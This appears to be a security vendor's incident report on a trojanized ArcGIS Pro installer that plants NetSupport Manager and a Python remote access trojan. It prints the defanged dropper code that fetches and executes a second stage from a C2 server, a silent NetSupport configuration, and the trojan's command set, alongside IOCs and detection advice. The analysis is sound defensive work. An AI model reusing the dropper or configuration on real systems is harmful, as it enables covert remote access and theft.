Resources

Trojanized ArcGIS Installer Drops Dual-Channel RAT

Written by Dylan Haase | May 28, 2026

 

Executive Summary

On May 18, 2026, RADICL observed an intrusion on a Windows endpoint originating from a trojanized ArcGIS Pro installer downloaded from a typosquatted domain.

The installer extracted a bundled Python runtime and executed an obfuscated dropper script, which deployed two independent remote access capabilities on the host: a legitimately-signed copy of NetSupport Manager configured for covert operation, and a Python-based backdoor identified as play.pyc.

Each capability was given its own persistence mechanism — a randomly-named Scheduled Task for NetSupport, and a Startup folder shortcut for play.pyc — providing the operator with redundant, dual-channel access. RADICL contained the intrusion to a single host with no observed lateral movement.

Initial Access

ArcGIS Pro is a widely-used commercial GIS product published by Esri. The affected user reached arcgis-pro[.]com (a typosquat of Esri's legitimate domain registered 39 days prior with no SPF, DMARC, or MX records) and downloaded ArcGIS-Pro-2026.1.9011.4920.exe, hosted on a Backblaze B2 cloud storage bucket. The mechanism that directed the user to the typosquatted domain was not confirmed during initial triage via available telemetry, however based on conversations with the affected user it was likely related to malvertising or SEO poisoning.

Mark-of-the-Web telemetry from the endpoint confirmed the download referrer was arcgis-pro[.]com and surfaced a second detail: the installer had been downloaded twice, approximately 25 minutes apart, from the identical URL and referrer. The dropper's silent execution produced no install dialog or visible ArcGIS Pro UI, so the user — assuming the first download had failed — retried. Both executions delivered the same payload.

Dropper Execution

The installer extracted a bundled Python 3 runtime and supporting files to a GUID-named temp directory under the user's profile: %LOCALAPPDATA%\Temp\<guid>\SDK\. The SDK subdirectory contained 15 files. Fourteen are decoys with random dictionary-word filenames in a mix of .txt and .docx extensions, 20–60 KB each, all sharing an identical batch-extraction timestamp. The 15th file, oncost.txt, is the dropper, with a timestamp 12 seconds later than the decoys, which is consistent with being decoded or written at runtime by the parent installer. The decoy pattern is a deliberate obfuscation technique, designed to bury the real dropper in plausible-looking clutter.

The installer launched the dropper using pythonw.exe -x oncost.txt. The -x flag instructs Python to skip the first line of the input file, allowing the dropper to be disguised under a non-.py extension.

The first line of oncost.txt is a string of random words that Python ignores; the remainder is:

import ssl

import time

import urllib.request

ssl._create_default_https_context = ssl._create_unverified_context

c = urllib.request.urlopen(

'hxxps[://]qxvnrta[.]com/f5b27e40-c60d-55fb-9ec1-6627165dd130/new_pkg1'

).read().decode('utf-8')

time.sleep(2.1)

exec(c)

This script disables SSL certificate verification and retrieves a second-stage payload from qxvnrta[.]com, a C2 domain registered six days prior to the incident. The retrieved content is executed in-process via exec(); the next stage never touches disk. The second-stage payload performs two parallel actions: it deploys the NetSupport Manager components and writes play.pyc to disk.

The second-stage payload also spawned a legitimate, clean Microsoft VC++ Redistributable installer (vc_redist.x64.exe, VT 0/71) to install the MSVC runtime DLLs required by client32.exe, environment preparation to ensure NetSupport would run on a host missing the dependency.

NetSupport Manager Deployment

NetSupport Manager is a legitimate, signed commercial remote management product widely used by IT teams. It is not malware, but it is heavily abused by threat actors precisely because it provides full interactive remote control, encrypts traffic over standard ports, and blends with legitimate enterprise RMM tooling.

The malicious behavior here is determined entirely by the operator-supplied configuration file written alongside the binaries, and by the absence of any IT approval for the deployment on this host.

The second-stage payload wrote eight legitimate NetSupport components to C:\ProgramData\NetSupport\NetSupport Manager\:

client32.exe 120,288 bytes (NetSupport client executable)

client32.ini 915 bytes (operator-controlled config)

HTCTL32.DLL 328,056 bytes

msvcr100.dll 773,968 bytes

nskbfltr.inf 328 bytes

NSM.LIC 249 bytes

nsm_vpro.ini 46 bytes

pcicapi.dll 33,144 bytes

PCICHEK.DLL 18,808 bytes

TCCTL32.DLL 396,664 bytes

remcmdstub.exe 72,760 bytes

Most files carry modification timestamps from years prior (2007 through 2024), inherited from the legitimate NetSupport build. Only client32.ini, written at the moment of compromise, has a fresh timestamp — making it the file that reveals operator intent.

Operator-Controlled C2 Gateways

[HTTP]

CMPI=60

GatewayAddress=travelrm[.]com:1714

GSK=GB;L?PEBGF<J>MDEFF;P?PDM9G>PBD

Port=1714

SecondaryGateway=madridoculto[.]com:1714

Teterrimous=1

SecondaryPort=1714

The GatewayAddress and SecondaryGateway fields point at travelrm[.]com and madridoculto[.]com, both on NetSupport's standard gateway port 1714. Neither domain appeared in network telemetry during the 27-minute observation window — the implant was configured to contact them but had not yet reached the corresponding beacon cycle. These IOCs are recoverable only from the on-disk artifact, and would have been missed by any enumeration relying solely on observed wire traffic. Notably, the NetSupport installation was the first and only event to trigger an EDR alert indicating potentially malicious activity nearly four minutes after the initial malicious payload had already existed.

Operating Configuration

The [Client] section of client32.ini is configured for fully silent operation: silent=1 and SysTray=0 suppress all UI and the system tray icon; DisableChat, DisableMessage, DisableRequestHelp, and DisableDisconnect strip the user's ability to know a session is happening or terminate it; and Usernames=* with ValidAddresses.TCP=* accept connections from any operator on any source address. Legitimate IT deployments do not silence their own UI and do not accept connections from arbitrary operators. The [_Info] section additionally points Filename at C:\ProgramData\Android\Internal\Video\some3.ini, a path that does not correspond to where the implant resides — likely misdirection for a hands-on responder, or a holdover from a previous deployment. The operator authentication token is recorded in SecurityKey2.

NetSupport Persistence

Persistence is established via a randomly-named Scheduled Task that re-launches client32.exe at logon with highest privileges. RADICL observed four discrete executions of client32.exe during the 27-minute window prior to containment (16:09:03Z, 16:11:07Z, 16:14:41Z, 16:36:09Z), all spawned by the same parent process — the signature of a system process being invoked by a scheduled task. Eight outbound TCP/443 connections to the two observed C2 servers spanned the full window. Terminating client32.exe without first removing the scheduled task results in the implant being relaunched on the next scheduled invocation.

Play.pyc Backdoor Deployment

Alongside the NetSupport deployment, the second-stage payload dropped a compiled Python backdoor identified as play.pyc. This is an entirely separate implant from NetSupport — different infrastructure, different capabilities, different persistence — and provides the operator with dual-channel access.

The submitted play.pyc is the first of three stages. Stage 1 is a ~5 KB ChaCha20 decryption shim that decrypts a ~50 KB embedded blob in memory and executes it via exec(); the decrypted implant never touches disk.

Stage 2 is the actual WebSocket-over-TLS RAT, written in Python but performing all network and process operations directly against the Win32 API via ctypes — deliberately avoiding urllib.request, requests, subprocess, and socket, which are the standard-library modules EDR products typically hook to detect Python-based malware.

Stage 3 is a reflective PE loader (~2.7 KB) embedded inside stage 2, written to disk on demand to execute operator-pushed binaries entirely in memory via VirtualAlloc / VirtualProtect.

Capability

The implant's main loop reads a command code and parameter from the WebSocket connection and dispatches:

Code

Command

Action

1

S_PING

Keep-alive heartbeat

49

S_UPLOAD

C2-to-victim file drop written to disk

67

EXEC_IN_MEM

C2-to-victim PE executed in memory via stage 3 loader

90

S_DELETE

Self-uninstall (PowerShell Remove-Item after 4-second sleep)

101

S_START_TERMINAL

Interactive reverse shell (cmd.exe or powershell.exe over named pipes)

The most consequential capability is EXEC_IN_MEM. Operator-pushed PEs execute entirely in memory; no disk artifacts exist. Forensic recovery is possible only from a memory image of the live python.exe process. On initial check-in, the implant transmits reconnaissance including username, hostname, AD domain, hardware identifier from HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid, OS product name, and elevation status.

Single-instance enforcement uses the named mutex TashuOnMyNeckBricket, which is highly specific and useful for sweeping the environment for additional infections. A watchdog process pair re-spawns the implant whenever it exits, except on receipt of S_DELETE — two python.exe processes in a parent/child relationship from a non-standard path is the process-tree signature for this implant.

Play.pyc Persistence

Persistence is established via a shortcut in the user's Startup folder (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\), re-launching play.pyc at each user login. This is operationally distinct from the NetSupport scheduled task — removing one has no effect on the other. Effective remediation requires identifying and removing both.

Detection Guidance

Create a detection for any process execution where pythonw.exe is invoked with the -x flag against a non-.py file. Outside of niche developer workflows, this pattern is essentially never legitimate in an enterprise environment and is a high-signal indicator of Python dropper activity — specifically the technique used to execute oncost.txt in this intrusion.

Alert on the creation of client32.ini in any path outside a documented, approved NetSupport deployment. Parse the file on creation and extract GatewayAddress and SecondaryGateway directly into your IOC pipeline. These fields contain attacker-controlled C2 infrastructure not visible in network telemetry until the implant beacons. The presence of silent=1, SysTray=0, and any Disable*=1 flags is sufficient to confirm malicious intent; legitimate IT deployments do not silence their own UI.

Sweep the environment for the named mutex TashuOnMyNeckBricket to identify any additional play.pyc infections without dependence on file or network artifacts. A companion process-tree hunt for two python.exe processes in a parent/child watchdog relationship from a non-standard install path will identify active implant sessions. Note that play.pyc bypasses Python's standard library entirely, operating against the Win32 API via ctypes; EDR products that hook only the Python standard library will not detect its network or process activity.

Conclusion

This intrusion represents a multi-stage, dual-channel deployment combining a legitimately signed RMM tool with a custom Python WebSocket RAT to establish redundant access on a single host. The campaign demonstrates deliberate evasion at each stage: a typosquatted delivery domain, a dropper disguised as a text file among 14 decoy files, SSL certificate verification disabled on the dropper's C2 request, and a NetSupport configuration that strips every indicator of a live session from the user's view. Security teams should treat any endpoint exhibiting these behaviors as fully compromised and perform a complete forensic review before returning it to service.

When remediating, both access channels must be addressed independently. Removing the NetSupport scheduled task has no effect on the play.pyc Startup shortcut; removing the shortcut has no effect on NetSupport. Detection logic targeting pythonw.exe -x execution against non-.py files, unauthorized client32.ini creation, and the mutex TashuOnMyNeckBricket will provide coverage against this campaign and the broader class of techniques it employs.

Indicators of Compromise

Domains

  • arcgis-pro[.]com — typosquat delivery domain; registered 2026-04-09 (39 days prior); impersonates Esri ArcGIS Pro
  • qxvnrta[.]com — C2; Python second-stage retrieval via oncost.txt; registered 2026-05-12 (6 days prior)
  • obelkfdskfkkf[.]com — C2; observed in DNS queries; registered 2026-02-22
  • travelrm[.]com — NetSupport gateway from client32.ini; port 1714; not observed in network telemetry
  • madridoculto[.]com — NetSupport secondary gateway from client32.ini; port 1714; not observed in network telemetry
  • zolotoinew[.]complay.pyc WebSocket C2; port 443; TLS validation disabled by client

IP Addresses

  • 45[.]61[.]129[.]65 — NetSupport C2 (AS14956 — RouterHosting LLC, Las Vegas NV)
  • 89[.]110[.]113[.]56 — NetSupport C2 (AS216071 — SERVERS TECH FZCO, Amsterdam NL)

URLs

  • hxxps[://]youmybutterfly[.]s3[.]us-east-005[.]backblazeb2[.]com/arcgis/ArcGIS-Pro-2026.1.9011.4920.exe
  • hxxps[://]qxvnrta[.]com/f5b27e40-c60d-55fb-9ec1-6627165dd130/new_pkg1 — Python second-stage retrieval

File Hashes (SHA256)

  • 0d024a36cc1c1970a26a7f1ac0daf07d9478bdd6c5b6484284664ebe33eb4815 — ArcGIS-Pro-2026.1.9011.4920.exe (VT 4/65)
  • 80cc439a0633add1dd964bb6bb40ccdcfec3ae28da39fd9416642ab0605d40ab — PCICL32.DLL, quarantined by EDR (VT 12/72)
  • bfa1726c1331066202148a4b1ea0cbaa83a189d3552a4e06f8395576ee16d27c — client32.exe, legitimate signed NetSupport Manager (VT 16/72)

Host Indicators

  • Dropper temp path: %LOCALAPPDATA%\Temp\<guid>\SDK\oncost.txt alongside 14 dictionary-word decoy files
  • NetSupport install path: C:\ProgramData\NetSupport\NetSupport Manager\ with attacker-supplied client32.ini
  • NetSupport persistence: randomly-named Scheduled Task invoking client32.exe at logon with highest privileges
  • NetSupport operator auth token: SecurityKey2 = dgAAAC5SlDr6jxa3uywow5cKxR0A
  • play.pyc persistence: shortcut in %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\
  • play.pyc mutex: TashuOnMyNeckBricket
  • play.pyc named pipe (stage 3): \\.\pipe\PipePipe!
  • play.pyc build identifier: BUILD_NAME = "kris"
  • play.pyc stage 1 ChaCha20 key: 3RZyqbexVgGe6YVseUzwbtvl0C8txkmk / nonce: BZpTrgNe866n / counter: 1

Authored by the RADICL threat intelligence team. All affected tenant details have been anonymized. IOCs are released for community defense.